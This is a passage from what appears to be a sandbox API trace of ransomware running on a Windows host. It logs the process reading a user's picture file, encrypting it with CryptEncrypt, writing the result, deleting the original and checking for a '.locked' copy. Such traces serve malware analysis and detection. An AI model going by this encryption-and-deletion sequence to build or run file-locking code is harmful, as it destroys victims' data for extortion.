lpOverlapped=0x0) returned 1 [0135.563] ReadFile (in: hFile=0x858, lpBuffer=0x6963b40, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6963b40*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0135.563] CryptEncrypt (in: hKey=0x8e84fb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x698d204*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x698d204*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0135.563] CryptEncrypt (in: hKey=0x8e84fb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x698d238*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x698d238*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0135.563] WriteFile (in: hFile=0x874, lpBuffer=0x695f320*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x695f320*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0135.563] CloseHandle (hObject=0x874) returned 1 [0135.565] CloseHandle (hObject=0x858) returned 1 [0135.565] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", lpFilePart=0x0) returned 0x6b [0135.565] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.565] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.565] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe5, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.565] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.567] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\718d_ottelvrukme.gif")) returned 0x20 [0135.567] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", lpFilePart=0x0) returned 0x6b [0135.567] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0135.568] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0135.568] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0135.568] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0135.568] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0135.568] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0135.568] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0135.568] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0135.568] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0135.568] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0135.568] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0135.568] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0135.568] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0135.568] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0135.568] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0135.568] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0135.569] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0135.569] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0135.569] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0135.569] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0135.569] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0135.569] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0135.569] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0135.569] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0135.569] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw")) returned 0x10 [0135.569] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw")) returned 0x10 [0135.569] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", lpFilePart=0x0) returned 0x49 [0135.569] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", lpFilePart=0x0) returned 0x49 [0135.569] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1")) returned 0x10 [0135.569] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1")) returned 0x10 [0135.570] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1", lpFilePart=0x0) returned 0x56 [0135.570] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1", lpFilePart=0x0) returned 0x56 [0135.570] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\718d_ottelvrukme.gif")) returned 0x20 [0135.570] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", lpFilePart=0x0) returned 0x6b [0135.570] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", lpFilePart=0x0) returned 0x6b [0135.570] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", lpFilePart=0x0) returned 0x6b [0135.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0135.570] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", lpFilePart=0x0) returned 0x6b [0135.570] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif\\", lpFilePart=0x0) returned 0x6c [0135.571] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0135.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0135.571] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0135.571] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0135.571] CoTaskMemFree (pv=0x8eb8930) [0135.572] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\718d_ottelvrukme.gif")) returned 0x20 [0135.572] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", lpFilePart=0x0) returned 0x6b [0135.572] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", lpFilePart=0x0) returned 0x6b [0135.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0135.572] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\718d_ottelvrukme.gif"), fInfoLevelId=0x0, lpFileInformation=0x69adf7c | out: lpFileInformation=0x69adf7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6c4be00, ftCreationTime.dwHighDateTime=0x1d4a976, ftLastAccessTime.dwLowDateTime=0x275bf3d0, ftLastAccessTime.dwHighDateTime=0x1d4a209, ftLastWriteTime.dwLowDateTime=0x275bf3d0, ftLastWriteTime.dwHighDateTime=0x1d4a209, nFileSizeHigh=0x0, nFileSizeLow=0x15677)) returned 1 [0135.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0135.572] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\718d_ottelvrukme.gif")) returned 1 [0135.574] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.574] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.574] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe7, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.574] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.574] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe7, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe7, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.575] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\718d_ottelvrukme.gif.locked")) returned 0x20 [0135.576] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\718d_ottelvrukme.gif.locked")) returned 0x20 [0135.576] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif.locked", lpFilePart=0x0) returned 0x72 [0135.576] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif.locked", lpFilePart=0x0) returned 0x72 [0135.576] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe7, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.576] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", lpFilePart=0x0) returned 0x6b [0135.576] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.576] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe8, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.576] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe7, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.576] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe8, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe8, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.578] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe8, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.578] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="ᬀ玹") returned 0x0 [0135.578] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.578] 